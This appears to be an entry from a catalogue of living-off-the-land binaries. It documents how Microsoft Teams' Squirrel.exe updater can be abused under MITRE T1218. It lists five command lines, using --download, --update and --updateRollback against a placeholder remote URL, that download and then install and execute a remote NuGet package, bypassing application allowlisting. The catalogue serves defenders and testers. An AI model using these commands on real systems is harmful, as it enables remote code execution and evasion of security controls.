Squirrel.exe

type: OtherMSBinaries
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Full path

C:\Users\<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exe

Commands

  1. DownloadUser T1218

    Download binary

    squirrel.exe --download {REMOTEURL}

    The above binary will go to url and look for RELEASES file and download the nuget package.

    os: Windows 7 and up with Microsoft Teams installed

  2. AWL BypassUser T1218

    Download and execute binary

    squirrel.exe --update {REMOTEURL}

    The above binary will go to url and look for RELEASES file, download and install the nuget package.

    os: Windows 7 and up with Microsoft Teams installed

    Execute: NugetExecute: Remote

  3. ExecuteUser T1218

    Download and execute binary

    squirrel.exe --update {REMOTEURL}

    The above binary will go to url and look for RELEASES file, download and install the nuget package.

    os: Windows 7 and up with Microsoft Teams installed

    Execute: NugetExecute: Remote

  4. AWL BypassUser T1218

    Download and execute binary

    squirrel.exe --updateRollback={REMOTEURL}

    The above binary will go to url and look for RELEASES file, download and install the nuget package.

    os: Windows 7 and up with Microsoft Teams installed

    Execute: NugetExecute: Remote

  5. ExecuteUser T1218

    Download and execute binary

    squirrel.exe --updateRollback={REMOTEURL}

    The above binary will go to url and look for RELEASES file, download and install the nuget package.

    os: Windows 7 and up with Microsoft Teams installed

    Execute: NugetExecute: Remote

Detection

Code samples

Resources

acknowledgement: Reegun J (OCBC Bank) @reegun21, Adam @Hexacorn